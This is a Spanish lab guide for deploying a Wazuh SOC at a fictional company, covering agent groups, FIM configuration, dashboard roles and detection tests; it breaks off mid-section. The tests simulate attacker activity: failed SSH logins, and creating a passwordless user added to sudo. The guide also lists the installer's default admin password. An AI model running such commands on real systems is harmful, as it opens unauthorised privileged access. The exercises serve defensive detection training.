IC 5021 — Práctica 1 (UT3): despliega el SOC en una empresa real

Meta

El Wazuh que teneis instalado por ahora es un juguete. Un manager, un indexer, un dashboard y, con suerte, dos agentes de ejemplo. Esta muy bien para ver que la cosa arranca, pero no se parece en nada a un SOC de verdad. Un SOC de verdad empieza por un papel: inventario, politica de nombres, grupos por departamento, agentes dados de alta en toda la plantilla, configuracion distinta segun el riesgo del puesto, usuarios por rol y verificacion operativa. Primero todo eso. Despues, los ataques.
Hoy os voy a pedir que os pongais en el papel de un consultor de seguridad al que una empresa de 18 personas acaba de contratar. No os dicen "instala Wazuh"; os dicen "montanos el SOC". No es lo mismo. Instalar es un rato; montarlo es una semana de trabajo bien hecho. Lo que haremos hoy es ese dia uno.
Al terminar la sesion debeis poder enseñar, uno a uno:

- Un inventario con TODA la plantilla y una politica de nombres que un compañero pueda leer y entender sin preguntar.
- Varios agentes dados de alta con nombre, grupo y labels correctos (no "Agent-004").
- Un agent.conf centralizado por grupo, con FIM distinto segun el riesgo del departamento (lo mismo no vale para direccion que para ofimatica, igual que en una empresa no todo el mundo tiene llave del despacho del jefe).
- Al menos dos usuarios de dashboard aparte de admin, con roles distintos, y la contraseña por defecto rotada.
- Un checklist de verificacion operativa firmado por la pareja.
- Alertas reales de FIM, autenticacion y gestion de usuarios.
- Un punto ciego encontrado, declarado y explicado.
- Una regla local escrita por vosotros, disparada y verificada.

Trabajo en parejas. Uno ejecuta, otro verifica. Cambiais de rol en cada checkpoint. Si el que verifica no es capaz de explicar que estais haciendo, no se avanza. En un SOC no vale "a mi me funciona"; vale "lo entiendo y se por que funciona".

La empresa de referencia

Para la practica usamos una empresa inventada pero realista. La vais a tener delante toda la sesion.

- **Nombre:** TECNORIBERA, S.L.
- **Sector:** ingenieria y servicios industriales.
- **Plantilla:** 18 personas.
- **Oficinas:** una sede en Valencia.

Plantilla y equipos:

- Direccion: 2 personas, 2 portatiles Windows.

- Finanzas: 3 personas, 3 PCs Windows.
- RRHH: 2 personas, 2 PCs Windows.
- Comercial: 4 personas, 4 portatiles Windows.
- Operaciones: 3 personas, 3 PCs Windows (ofimatica).
- Desarrollo: 2 personas, 2 portatiles Linux (devs).
- IT: 2 personas administran 2 servidores Linux (ERP y fileserver).

Total: 14 Windows de puesto + 2 Linux de puesto + 2 Linux de servidor = 18 agentes.
Obviamente en el aula no teneis 18 maquinas. Lo que haremos es: cada pareja desplegara al menos TRES agentes de departamentos distintos (uno Linux servidor, uno Windows ofimatica, uno Linux desarrollo), siguiendo la politica de nombres y grupos que vamos a fijar. En el inventario documentareis los 18, aunque fisicamente solo esten tres. Esto es exactamente lo que harias en una consultora real: documentar primero toda la plantilla, desplegar despues en oleadas, segun disponibilidad del cliente. No se despliega "a lo bruto" en una tarde; se planifica por grupos.

Politica de nombres y grupos (se acuerda antes de instalar nada)

Esto es lo mas aburrido del dia y lo mas importante. Si os saltais este paso, dentro de dos semanas vuestro SOC es un vertedero y nadie encuentra nada.
Nombre de cada agente:

```
DEPARTAMENTO-FUNCION-NN
```

Ejemplos:

```
FIN-PC-01       (finanzas, PC de puesto, 01)
FIN-PC-02
DIR-NB-01       (direccion, notebook, 01)
DIR-NB-02
RRH-PC-01
COM-NB-01
OPE-PC-01
DEV-NB-01       (desarrollo, notebook Linux)
IT-SRV-ERP      (servidor Linux, ERP)
IT-SRV-FILE     (servidor Linux, fileserver)
```

¿Por que asi? Porque cuando a las 03:00 de la mañana suena una alerta, el analista de guardia tiene que leer el nombre del agente y saber, sin abrir Wikipedia interna, de que departamento es, si es un puesto o un servidor, y si es critico. "WIN-004" no le dice nada. "DIR-NB-01" le dice "portatil de direccion", y ya esta pensando distinto antes de abrir la alerta.
Grupos de Wazuh (uno por categoria, no por persona):

- **ofimatica** — Windows de puesto estandar: FIN, RRH, OPE, COM.
- **direccion** — Windows de direccion. FIM reforzado, alertas prioritarias.
- **desarrollo** — Linux de puesto de los devs.
- **servidores** — Linux de servicio (ERP, fileserver). Lo mas critico.

El motivo de agrupar por categoria y no por persona es simple: una persona cambia de departamento mañana, un rol tarda años en cambiar. Los grupos son estables, las personas no.
Labels que vamos a poner en cada agente (son como etiquetas; luego las podeis filtrar en el dashboard):

- department: finanzas | rrhh | direccion | comercial | operaciones | desarrollo | it
- owner: nombre.apellido o nombre.generico

- criticality: baja | media | alta | muy_alta
- location: valencia-sede

Esto es lo que convierte un SOC gestionable en un SOC usable. Sin labels, los agentes son numeros. Con labels, el analista puede decir "enseñame todas las alertas de criticidad muy_alta en direccion de las ultimas 24 h", y responde el sistema solo.

Entregable 1 (de grupo): fichero inventario.csv con la plantilla completa. Columnas: `hostname, so, department, owner, criticality, group_wazuh, labels_extra, estado (planificado | desplegado), fecha_alta.`

Esto NO es un ejercicio escolar. Es el documento que un consultor serio entrega al cliente antes de desplegar una sola cosa.

Herramientas que necesitas antes de empezar

Antes de tocar Wazuh, verifica que tu host SOC y tus futuros agentes tienen las herramientas base. Si falta algo, instalalo AHORA, no en mitad del despliegue.

En el host SOC (donde corren los contenedores de Wazuh):

```
uname -a
docker --version
docker compose version
git --version
curl --version
nano --version
free -h
df -h /
```

Que necesitas confirmar:

- Docker Engine instalado (version 20.10 o superior).
- Docker Compose plugin (docker compose version, con espacio, no docker-compose con guion).
- Git disponible.
- curl disponible.
- Al menos 8 GB de RAM libres (el indexer de Wazuh es tragon).
- Al menos 20 GB libres en disco.
- Un ajuste del kernel que exige el indexer:

```
sudo sysctl -w vm.max_map_count=262144
sysctl vm.max_map_count
```

Debe mostrar 262144 o superior. Si no lo haces, el indexer puede no arrancar.

En cada agente Linux (devs, servidores):

```
sudo apt-get update
sudo apt-get install -y gnupg apt-transport-https curl
```

En cada agente Windows (ofimatica, direccion):

- PowerShell abierto COMO ADMINISTRADOR (click derecho > "Ejecutar como administrador"). Si lo abres como usuario normal, el instalador fallara sin dejar errores claros.
- El fichero wazuh-agent-4.14.8-1.msi descargado en el equipo (lo tiene el profesor en el aula o se descarga de packages.wazuh.com/4.x/windows).
- Conectividad hacia el host SOC por los puertos 1514/tcp y 1515/tcp.

Herramientas que vamos a instalar HOY como parte de la practica:

- wazuh-agent en cada endpoint.

Herramientas que NO tocamos hoy pero debes saber que existen (siguientes sesiones):

- auditd en Linux: telemetria de proceso (hoy veremos por que la necesitamos).
- Sysmon en Windows: telemetria de proceso avanzada (equivalente a auditd).
- Suricata: IDS de red. Lo integraremos cuando montemos la pata de red del SOC.
- TheHive + Cortex: gestion de casos. En UT5.

Material visual (apoyo durante la clase)

Hay cuatro imagenes de referencia que iremos mirando segun avance el guion. Estan en la subcarpeta **imagenes-practica1-wazuh/** dentro de la misma carpeta de ALUMNADO. Si no estan subidas aun, se descargan de la documentacion oficial de Wazuh (son las imagenes publicas de documentation.wazuh.com):

- **arquitectura.jpg** — Diagrama de componentes y flujo de datos. Fuente: documentation.wazuh.com/current/getting-started/components/index.html (wazuh-components-and-data-flow1.png). Se usa en el Bloque 0.
- **dashboard-home.jpg** — Pantalla de inicio del dashboard. Fuente: wazuh.com/uploads/2024/08/wazuh-dashboard.png. Se usa en el Bloque 0.
- **endpoints-summary.jpg** — Pantalla de resumen de agentes en el dashboard (Agents management). Fuente: documentation.wazuh.com/current/_images/endpoints-summary3.png. Se usa en el Bloque 4.
- **rules.jpg** — Vista del modulo de reglas en el dashboard. Fuente: documentation.wazuh.com/current/_images/rules1.png. Se usa en el Bloque 8.

Si quereis incrustar las imagenes en este documento: Insertar > Imagen > Subir de Drive, y seleccionad la imagen correspondiente de la subcarpeta.

Bloque 0. Arrancar el stack de Wazuh (o comprobar que esta arriba)

Antes de nada, asegurate de que el stack esta arriba. Si lo tienes parado, lo arrancamos. Si lo tienes arriba, verificamos salud.
Arquitectura general de Wazuh — para que tengas el mapa mental de lo que estas levantando: los endpoints (Linux, Windows, macOS, etc.) envian datos al **Wazuh server** (manager), que los almacena en el **Wazuh indexer** (motor de busqueda) y los visualiza en el **Wazuh dashboard**.
*(ver imagen **arquitectura.jpg**)*

0.1 Localizar la carpeta donde esta Wazuh

Si seguisteis la practica anterior, el stack esta en:
`~/wazuh-docker/single-node`
Si no estas seguro, buscalo:

```
find ~ -maxdepth 4 -type d -name "single-node" 2>/dev/null
```
Entra en esa carpeta ANTES de ejecutar comandos de docker compose. Todos los comandos de este bloque se lanzan desde ahi:
```
cd ~/wazuh-docker/single-node
pwd
ls
```
Debes ver, al menos, un fichero docker-compose.yml y una carpeta config/. Si no los ves, estas en el sitio equivocado.

0.2 Comprobar en que estado esta el stack

```
docker compose ps
```
Puede haber tres casos:

1. **Vacio (ninguna linea):** el stack esta parado. Pasa al 0.3 para arrancarlo.
2. **Lineas con STATUS "Up" (y "healthy" cuando se asienta):** el stack esta corriendo. Salta al 0.4 (abrir el dashboard).
3. **Lineas con STATUS "Exited" o "Restarting":** el stack esta roto. Mira los logs del contenedor que falla con docker compose logs --tail=100 <nombre_contenedor>, corrige, y vuelve al 0.3.

0.3 Arrancar el stack

Si el stack esta parado, lo levantas asi:
```
cd ~/wazuh-docker/single-node
sudo sysctl -w vm.max_map_count=262144
docker compose up -d
```
El flag -d es "detached": arranca en segundo plano y te devuelve el prompt. Sin -d, los logs se vuelcan en tu terminal y si cierras la ventana se para todo.
El primer arranque tarda. El indexer tiene que crear indices, generar sus certificados internos y arrancar su cluster (aunque sea de un solo nodo). Dale 1-2 minutos. Mientras, mira si va subiendo:
```
docker compose ps
docker compose logs --tail=30 wazuh.indexer
docker compose logs --tail=30 wazuh.manager
docker compose logs --tail=30 wazuh.dashboard
```
Es NORMAL ver temporalmente mensajes como "connection refused on port 9200" o "dashboard server is not ready yet" durante el arranque. Lo que NO es normal es verlos durante 5 minutos seguidos: eso indica fallo real.
Otros comandos utiles del ciclo de vida:
```
# Parar el stack sin borrar nada
docker compose stop

# Volver a arrancarlo
docker compose start

# Reiniciar solo el manager (lo usaremos cuando cambiemos reglas o
config de grupo)
docker compose restart wazuh.manager
```

```
# Ver recursos en tiempo real
docker stats

# Parar y borrar los contenedores (NO los datos; los volumenes
persisten)
docker compose down
```
No uses docker compose down -v salvo que quieras borrar los volumenes y empezar de cero: te cargarias las alertas acumuladas y la configuracion.

0.4 Dashboard: dónde verlo en el navegador

El dashboard escucha en HTTPS. Dos casos:

- **Si estas en el MISMO equipo donde corre Docker** (p. ej. el profesor en el ordenador del aula): abre el navegador y ve a https://localhost o alternativamente https://127.0.0.1.
- **Si estas en OTRO equipo del aula** (lo normal para los alumnos): usa la IP del host SOC. Si no la sabes, en el host SOC ejecuta ip -br a y copia la IP de la red local. Despues, desde tu equipo: https://IP_DEL_HOST_SOC (ejemplo: https://192.168.1.50).

El puerto por defecto es el 443 (HTTPS), por eso no hace falta ponerlo en la URL. Si tu despliegue usa otro puerto (algunos profesores lo mapean a 5601), la URL seria https://IP_DEL_HOST_SOC:5601; pregunta al profesor si tienes dudas.
El navegador te avisara de que el certificado no es de confianza (es autofirmado del laboratorio). Es normal. Pulsa en "Avanzado" > "Continuar al sitio". **Antes** de aceptar, comprueba que la URL es la correcta: en una empresa real, saltarse avisos de certificado sin mirar es como quitar la puerta de casa.
Credenciales iniciales del instalador oficial:

- Usuario: admin
- Contraseña: SecretPassword

Esta contraseña SOLO vale para el despliegue inicial. En el bloque 5 la rotaremos. No lo olvides.
Asi es el aspecto del dashboard de Wazuh una vez dentro: *(ver imagen **dashboard-home.jpg**)*.
CAPTURA 00: pagina de inicio del dashboard tras hacer login, sin errores rojos.

Bloque 1. Verificacion de salud del SOC

Antes de añadir ni un solo agente, el stack central tiene que estar sano. Si el manager va renqueante o el indexer esta reiniciandose cada 30 segundos, cualquier cosa que montemos encima va a dar sintomas raros que vais a confundir con fallos de agente. Primera regla de SOC: no construyas sobre arena.
En el host SOC:

```
docker compose ps
docker compose logs --tail=20 wazuh.manager
docker compose logs --tail=20 wazuh.indexer
docker compose logs --tail=20 wazuh.dashboard
```
Que debes ver:

- Tres servicios (manager, indexer, dashboard) con estado Up y sin reinicios recientes.

- Logs del manager sin ERROR repetitivos.
- Logs del indexer sin "cluster health RED" ni "no node available".
- Logs del dashboard sin "server is not ready yet" persistente.

Un contenedor en "Restarting" cada pocos segundos NO es un estado de servicio: es un fallo que no te esta dejando pistas obvias. No lo ignores. Lo arreglas antes de seguir.

Bloque 2. Crear los grupos en el manager

Antes de dar de alta un solo agente, creamos los grupos. ¿Por que ahora? Porque si creas primero el agente y despues el grupo, el agente nace en "default" y tienes que moverlo manualmente. Haciendolo al reves, el agente nace ya donde debe estar, con la configuracion correcta aplicada desde el minuto cero.
En el host SOC, entra al contenedor del manager (de aqui en adelante, siempre que diga "entra al manager", es esto):

```
docker exec -it single-node-wazuh.manager-1 bash
```

Si tu contenedor se llama distinto (los nombres los pone docker compose segun el nombre del directorio), averigualo primero con docker compose ps.
Dentro del contenedor, crea los cuatro grupos:

```
/var/ossec/bin/agent_groups -a -g ofimatica -q
/var/ossec/bin/agent_groups -a -g direccion -q
/var/ossec/bin/agent_groups -a -g desarrollo -q
/var/ossec/bin/agent_groups -a -g servidores -q
```

El flag -a es "add", -g es "group" y -q es "silencioso". Comprueba que estan todos:

```
/var/ossec/bin/agent_groups -l
```

Deben aparecer default, ofimatica, direccion, desarrollo y servidores. El grupo "default" ya existia; es donde cae cualquier agente que se enrole sin especificar grupo. En un entorno limpio, nadie deberia quedarse en default; es un sintoma de que alguien se salto el procedimiento.
Que acabas de hacer, por debajo: has creado cuatro carpetas en /var/ossec/etc/shared/, una por grupo. En cada carpeta, Wazuh buscara un fichero agent.conf que se propagara automaticamente a todos los agentes del grupo. Eso lo configuramos en el bloque siguiente.

Bloque 3. Configuracion centralizada por grupo (agent.conf)

La idea: NO vamos a tocar el ossec.conf de cada agente a mano. En el ossec.conf dejamos solo lo imprescindible (direccion del manager, nombre del agente, grupo). Toda la configuracion operativa (FIM, labels, log sources) la publicamos desde el manager, por grupo, en un fichero agent.conf. Cuando queremos cambiar algo, lo cambiamos en un sitio y se propaga a todos los agentes del grupo.
¿Por que es importante? Porque en una empresa con 18 agentes todavia podrias hacerlo a mano (sufriendo). Con 200, es imposible. Y en un SOC real no estas delante de la maquina del cliente: estas en otro sitio, y necesitas que un cambio llegue solo.

Dentro del contenedor del manager, edita el fichero de configuracion compartida de cada grupo. Si no existe aun, nano lo crea.

3.1 Grupo ofimatica (Windows de puesto estandar: FIN, RRH, OPE, COM)

```
nano /var/ossec/etc/shared/ofimatica/agent.conf
<agent_config>

  <labels>
    <label key="criticality">media</label>
    <label key="location">valencia-sede</label>
  </labels>

  <syscheck>
    <frequency>43200</frequency>
    <directories check_all="yes" realtime="yes">C:\Users</directories>
    <directories check_all="yes"
realtime="yes">C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\StartUp</directories>
    <ignore>C:\Users\All Users</ignore>
  </syscheck>

</agent_config>
```

Que significa, en castellano:

- frequency 43200: hacer la revision completa de FIM una vez cada 12 horas. En ofimatica no necesitamos revisar cada hora; es ruido inutil.
- C:\Users: aqui viven los perfiles de usuario; cualquier cosa rara en un perfil nos interesa.
- Start Menu\...\StartUp: una de las vias clasicas de persistencia de malware en Windows ("auto-run al iniciar sesion"); los atacantes la usan desde hace 25 años.
- ignore C:\Users\All Users: carpeta que genera mucho ruido y no aporta valor; la silenciamos deliberadamente.

Idea clave: en un SOC no se vigila "todo"; se vigila lo que importa. Vigilar todo es la mejor forma de no ver nada: el analista se ciega con alertas basura y acaba desactivando reglas enteras.

3.2 Grupo direccion (Windows de direccion con FIM reforzado)

```
nano /var/ossec/etc/shared/direccion/agent.conf
<agent_config>

  <labels>
    <label key="criticality">muy_alta</label>
    <label key="location">valencia-sede</label>
  </labels>

  <syscheck>
```

```
    <frequency>21600</frequency>
    <directories check_all="yes" realtime="yes"
report_changes="yes">C:\Users</directories>
    <directories check_all="yes" realtime="yes"
report_changes="yes">C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\StartUp</directories>
    <directories check_all="yes" realtime="yes"
report_changes="yes">C:\Program Files</directories>
  </syscheck>

</agent_config>
```

Diferencias con ofimatica, y por que:

- frequency 21600 (cada 6 horas en vez de 12): direccion es un objetivo prioritario para un atacante (spear-phishing, suplantacion, exfiltracion). Mas chequeos.
- report_changes="yes": no solo nos dice que el fichero cambio; guarda que cambio dentro, para que el analista pueda ver el diff. Es muy util y no se activa en todos los sitios por un motivo: genera MUCHOS mas datos. En direccion lo asumimos. En ofimatica no.
- C:\Program Files vigilado: aqui no deberian aparecer binarios nuevos sin pasar por IT. Si aparece algo, es noticia.

Esto es parte del "pensamiento de riesgo" propio del defensor: a dos equipos identicos tecnicamente, les ponemos vigilancia distinta porque el impacto de un compromiso es distinto.

3.3 Grupo desarrollo (Linux de puesto de los devs)

```
nano /var/ossec/etc/shared/desarrollo/agent.conf
<agent_config>

  <labels>
    <label key="criticality">alta</label>
    <label key="location">valencia-sede</label>
  </labels>

  <syscheck>
    <frequency>21600</frequency>
    <directories check_all="yes" realtime="yes">/home</directories>
    <directories check_all="yes" realtime="yes"
report_changes="yes">/etc</directories>
    <directories check_all="yes"
realtime="yes">/opt/ic-lab/monitor</directories>
    <ignore>/home/*/.cache</ignore>
    <ignore>/home/*/node_modules</ignore>
  </syscheck>

</agent_config>
```

Pensamiento aplicado:

- /home: donde el dev tiene su codigo, sus claves SSH, sus notas. Es lo que un atacante querria.
- /etc con report_changes: si alguien toca /etc/sudoers, /etc/passwd o /etc/ssh/sshd_config,

lo quiero saber al momento y con el diff.
- /opt/ic-lab/monitor: carpeta de laboratorio que ya conoces; la seguimos vigilando.
- Ignorar .cache y node_modules: los proyectos JavaScript crean miles de ficheros temporales por minuto. Vigilarlos satura el canal y no aporta valor. Un atacante no esconde su backdoor dentro de node_modules porque al proximo npm install desaparece.

Una buena politica de FIM es tanto lo que vigilas como lo que decides NO vigilar.

3.4 Grupo servidores (Linux de servicio: ERP y fileserver — lo mas critico)

```
nano /var/ossec/etc/shared/servidores/agent.conf
<agent_config>

  <labels>
    <label key="criticality">muy_alta</label>
    <label key="location">valencia-sede</label>
  </labels>

  <syscheck>
    <frequency>14400</frequency>
    <directories check_all="yes" realtime="yes"
report_changes="yes">/etc</directories>
    <directories check_all="yes" realtime="yes"
report_changes="yes">/root</directories>
    <directories check_all="yes" realtime="yes"
report_changes="yes">/var/www</directories>
    <directories check_all="yes" realtime="yes"
report_changes="yes">/opt</directories>
    <ignore>/var/log</ignore>
  </syscheck>

  <localfile>
    <log_format>syslog</log_format>
    <location>/var/log/auth.log</location>
  </localfile>

</agent_config>
```

Lo nuevo respecto a los otros grupos:

- frequency 14400 (cada 4 horas): el servidor es la joya. Mas revisiones.
- /root: el directorio del superusuario. Si aparece un fichero ahi que no sabes de donde ha salido, es un incidente.
- /var/www: donde vive la aplicacion web. Cualquier fichero nuevo que no haya desplegado el equipo de desarrollo mediante el proceso oficial es sospechoso (webshells, backdoors, defacements).
- /opt: software instalado fuera del gestor de paquetes. Un atacante suele dejar aqui sus herramientas.

- ignore /var/log: los logs cambian cada segundo; vigilarlos con FIM es inutil (y ya los estamos leyendo con <localfile>).
- <localfile> auth.log: le decimos al agente que lea en tiempo real este fichero y lo mande al manager. Es donde se guardan los intentos de SSH, los sudo, los cambios de usuario. Para un servidor Linux, es LA fuente de identidad.

Guarda cada fichero y sal del contenedor:

```
exit
```

Recarga el manager para que publique los cambios a los grupos:

```
docker compose restart wazuh.manager
docker compose logs --tail=50 wazuh.manager
```

Si hay ERROR relacionado con XML, cualquiera de los agent.conf tiene una etiqueta mal cerrada, una comilla simple en vez de doble, o un caracter raro. Vuelve a entrar y cuadralo. El manager te suele decir el fichero y el numero de linea; leelo.
Idea clave: en este momento no hay ningun agente usando esto. Pero cuando los demos de alta en el proximo bloque, cada agente recibira automaticamente la configuracion de SU grupo. Ni mas, ni menos. Esto es lo que hace Wazuh escalable y manejable.

Bloque 4. Dar de alta la plantilla (instalar agentes)

Vamos a dar de alta la plantilla. Cada pareja desplegara al menos tres agentes de departamentos distintos. En inventario.csv marcad como "desplegado" los que realmente instalais, y como "planificado" el resto. Esto es una habilidad SOC real: documentar el estado real, no el estado deseado.
En un despliegue de verdad, el orden es: primero servidores (lo mas critico), despues direccion, despues plantilla general. Si pasa algo durante el despliegue, al menos el nucleo queda vigilado.

4.1 Agente Linux de servidor (IT-SRV-ERP, IT-SRV-FILE)

En la maquina Linux de servicio, como root:

```
apt-get update
apt-get install -y gnupg apt-transport-https curl
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg
--no-default-keyring --keyring
gnupg-ring:/usr/share/keyrings/wazuh.gpg --import
chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg]
https://packages.wazuh.com/4.x/apt/ stable main" >
/etc/apt/sources.list.d/wazuh.list
apt-get update

WAZUH_MANAGER="IP_DEL_MANAGER" WAZUH_AGENT_NAME="IT-SRV-ERP"
WAZUH_AGENT_GROUP="servidores" apt-get install -y wazuh-agent

systemctl daemon-reload
systemctl enable --now wazuh-agent
```

Que acaba de pasar, por partes:

- Añadiste la clave GPG de Wazuh al llavero del sistema (asi apt confia en los paquetes de Wazuh).
- Añadiste el repositorio APT de Wazuh.
- Instalaste wazuh-agent pasando por VARIABLES DE ENTORNO el manager al que debe conectarse, el nombre que debe anunciar y el grupo al que debe pertenecer. Esto es lo que hace que el agente nazca ya configurado y en el sitio correcto. Si no las pasaras, el agente nace en "default" y hay que moverlo despues (trabajo manual y errores).
- Habilitaste e iniciaste el servicio.

Comprueba el alta en el propio agente:

```
systemctl status wazuh-agent --no-pager
grep -nE "<address>|<agent_name>|<groups>" /var/ossec/etc/ossec.conf
tail -n 30 /var/ossec/logs/ossec.log
```

Que debes ver:

- Servicio active (running).
- En el ossec.conf, la etiqueta <address> con la IP del manager, <agent_name> con el nombre que elegiste, y <groups> con el grupo que elegiste.
- En el log, lineas tipo "INFO: Started Wazuh agent" y "INFO: Connected to the server". Si ves "Unable to connect" repetidos: cortafuegos, IP mal escrita, o puertos 1514/1515 bloqueados.

4.2 Agente Linux de desarrollo (DEV-NB-01)

Mismo procedimiento que 4.1, cambiando SOLO:

```
WAZUH_AGENT_NAME="DEV-NB-01"
WAZUH_AGENT_GROUP="desarrollo"
```

Fijate que el procedimiento es exactamente el mismo. Esto es la fuerza de haber planificado antes: desplegar es casi mecanico.

4.3 Agente Windows de ofimatica (FIN-PC-01)

Desde PowerShell COMO ADMINISTRADOR, con el instalador .msi en la carpeta:

```
msiexec.exe /i .\wazuh-agent-4.14.8-1.msi /q
WAZUH_MANAGER="IP_DEL_MANAGER" WAZUH_AGENT_NAME="FIN-PC-01"
WAZUH_AGENT_GROUP="ofimatica"
Start-Service wazuhsvc
```

El /q es "quiet", para que el instalador no abra ventanas; es lo que te permite desplegar por GPO o por software de distribucion a decenas de equipos sin tocar nada. Las variables van en la MISMA linea que msiexec, no antes.

Comprueba:

```
Get-Service wazuhsvc
Get-Content "C:\Program Files (x86)\ossec-agent\ossec.log" -Tail 30
```

Para un portatil de direccion (DIR-NB-01), repite cambiando solo:

```
WAZUH_AGENT_NAME="DIR-NB-01"
WAZUH_AGENT_GROUP="direccion"
```

4.4 Verlos en el dashboard

Abre el navegador en https://IP_DEL_HOST_SOC y entra en **Agents management > Summary**. Debes ver tus agentes como "Active", cada uno en su grupo, con el nombre correcto.
Asi se ve la pantalla de resumen de endpoints (orientativo, segun version): *(ver imagen **endpoints-summary.jpg**)*.

4.5 Confirmar que la configuracion centralizada ha llegado al agente

Esto es lo que normalmente la gente se salta y luego se encuentra con "pero si lo configure"... en el sitio equivocado. Hay que verificar que el agent.conf del grupo ha bajado al agente.
Entra al dashboard, abre uno de los agentes y mira:

- Labels aplicados (criticality, location). Deben coincidir con los del agent.conf del grupo.
- Pestaña **Integrity monitoring (FIM)**: las rutas vigiladas deben coincidir con las del agent.conf del grupo.

Si no coinciden, el agente NO esta recibiendo la configuracion. Causas tipicas:

- El agente esta en el grupo "default" en vez del grupo correcto (se te olvido el WAZUH_AGENT_GROUP al instalar).
- El manager no se reinicio despues de editar los agent.conf.
- El fichero XML del grupo tiene un error de parsing.
- El agente no se ha vuelto a conectar al manager desde que publicaste los cambios; reiniciar el agente desbloquea la bajada.

CAPTURA 01: Agents management mostrando al menos tres agentes Active en tres grupos distintos.
CAPTURA 02: ficha de un agente mostrando los labels de su grupo (criticality, location).

Bloque 5. Usuarios del dashboard por rol

Un SOC de verdad NO comparte el usuario admin entre varias personas. Y menos todavia con la contraseña por defecto del instalador. Dos motivos:

- **Seguridad:** la contraseña admin del instalador esta en la documentacion publica de Wazuh. Si el dashboard es accesible desde fuera, cualquier atacante entra con lo que sabe de internet.
- **Trazabilidad:** si todos usan admin, el log del dashboard no sirve para auditar nada. En un incidente, no vas a saber quien cerro cual alerta.

Entra al dashboard como admin y ve a **Security > Internal users**. Crea dos usuarios minimo:
Usuario 1:

- username: analista.soc
- rol: perfil con lectura total de alertas y de modulos de deteccion, pero SIN capacidad de cambiar configuracion del indexer ni crear usuarios. En Wazuh suele llamarse wazuh_ui_viewer o similar; si tu version lo tiene bajo otro nombre, elegid el equivalente y lo documentais.
- proposito: dia a dia del analista. Ver alertas, filtrar, abrir casos. No tocar config.

Usuario 2:

- username: auditor
- rol: solo lectura.
- proposito: auditor interno o consultor externo que valida sin tocar nada.

Importante:

- Cambia la contraseña del usuario admin ANTES de cerrar la sesion. La inicial del instalador solo valia para desplegar.
- Documenta las contraseñas en el gestor de contraseñas del aula. NO en un .txt. NO pegadas en un post-it. NO en el README del proyecto.

CAPTURA 03: pantalla de Internal users con admin + analista.soc + auditor creados.

Bloque 6. Verificacion operativa ("a la perfeccion")

Antes de "tocar nada" ni empezar con ataques, el equipo tiene que firmar este checklist. Si falta algo, se arregla. Esto es equivalente a la aceptacion operativa que un cliente firma antes de dar por buena una puesta en marcha.

- [ ] Los tres contenedores (manager, indexer, dashboard) llevan al menos 30 minutos arriba sin reinicios.
- [ ] Hay al menos tres agentes Active, de tres grupos distintos (ofimatica/direccion, desarrollo, servidores).
- [ ] Ningun agente queda en el grupo "default" si deberia estar en otro.
- [ ] Los nombres de agente siguen la politica DEPARTAMENTO-FUNCION-NN.
- [ ] En cada agente aparecen los labels del grupo (criticality, location).
- [ ] FIM del grupo ofimatica monitoriza C:\Users y StartUp.
- [ ] FIM del grupo direccion monitoriza C:\Users, StartUp y C:\Program Files con report_changes.
- [ ] FIM del grupo desarrollo monitoriza /home y /etc, ignorando .cache y node_modules.
- [ ] FIM del grupo servidores monitoriza /etc, /root, /var/www y /opt con report_changes, y lee /var/log/auth.log.
- [ ] Existen al menos dos usuarios de dashboard aparte de admin, con roles distintos.
- [ ] La contraseña del usuario admin ya no es la del instalador.
- [ ] inventario.csv entregado con los 18 agentes (planificado / desplegado).

Entregable 2 (de pareja): checklist firmado. Si firmais lo que no habeis hecho, en el proximo bloque sale a la luz solo. No merece la pena.

Bloque 7. Poner al SOC a trabajar (generar actividad y verla llegar)

Ahora si. Con el SOC desplegado como un reloj, vamos a comprobar que de verdad detecta algo. Todo lo que sigue se hace en el laboratorio aislado, no en portatiles personales ni en nada del centro.

Regla dura del modulo: **un sensor silencioso esta roto hasta que lo demuestres**. El silencio no es prueba de "todo va bien"; puede significar "no hay ataques" o "no veo nada". Y hasta que no lo demuestres, no sabes cual.

Vamos a disparar cuatro cosas:

- Autenticacion (fallos de SSH).
- Identidad local (alta y baja de usuarios).

- Zona critica (modificar un fichero en /etc).
- El ataque que no vais a ver (curl | bash): el objetivo didactico de hoy.

7.1 Autenticacion — fallos de SSH contra un servidor Linux

Desde cualquier otra maquina del aula, contra IT-SRV-ERP o DEV-NB-01, repite varias veces con un usuario que no exista:

```
ssh usuario-que-no-existe@IP_DEL_SERVIDOR
ssh usuario-que-no-existe@IP_DEL_SERVIDOR
ssh usuario-que-no-existe@IP_DEL_SERVIDOR
ssh usuario-que-no-existe@IP_DEL_SERVIDOR
ssh usuario-que-no-existe@IP_DEL_SERVIDOR
```

Que esta pasando por detras: el servidor SSH escribe cada intento fallido en /var/log/auth.log. El agente Wazuh del grupo servidores (que has configurado para leer ese fichero) lo manda al manager. El manager pasa el log por el decoder de sshd y una regla base ("sshd authentication failed") hace match. Si acumulas suficientes en poco tiempo, otra regla de correlacion lo marca como posible fuerza bruta y sube el nivel.
En el dashboard, filtra por el agente y busca sshd authentication failed.
CAPTURA 04: alerta de autenticacion SSH fallida. Fijate en rule.level y rule.description.

7.2 Identidad local — alta y baja de usuarios

Como root o con sudo en IT-SRV-ERP:

```
sudo useradd ic-atacante
sudo passwd -d ic-atacante
sudo usermod -aG sudo ic-atacante
sudo userdel ic-atacante
```

Que esta pasando: cada uno de estos comandos escribe lineas en /var/log/auth.log con el patron que las reglas base de Wazuh reconocen (new user added, password changed, user added to group sudo, user deleted). Son eventos de identidad.
En el dashboard busca useradd. Lectura clave: si no estas creando usuarios tu y aparece esta alerta en produccion, es un marron serio. Un atacante que ha ganado privilegios suele crear un usuario propio para no depender del que uso para entrar. Si entras un lunes y ves un useradd que no esperabas, abres incidente SI o SI.
CAPTURA 05: alerta de creacion de usuario.

7.3 Zona critica — tocar /etc

```
sudo touch /etc/fichero-de-prueba-ic.txt
echo "linea de prueba" | sudo tee -a /etc/fichero-de-prueba-ic.txt
sudo rm /etc/fichero-de-prueba-ic.txt
```

Que esta pasando: tu agente del grupo servidores tiene FIM activo sobre /etc con report_changes. Al crear, modificar y borrar el fichero, el agente manda tres eventos distintos al manager, cada uno con el detalle del cambio.
En el dashboard busca fichero-de-prueba-ic.txt. Debes ver los tres eventos. Si no sale ninguno:

- Revisa que el agent.conf del grupo servidores tiene la ruta.
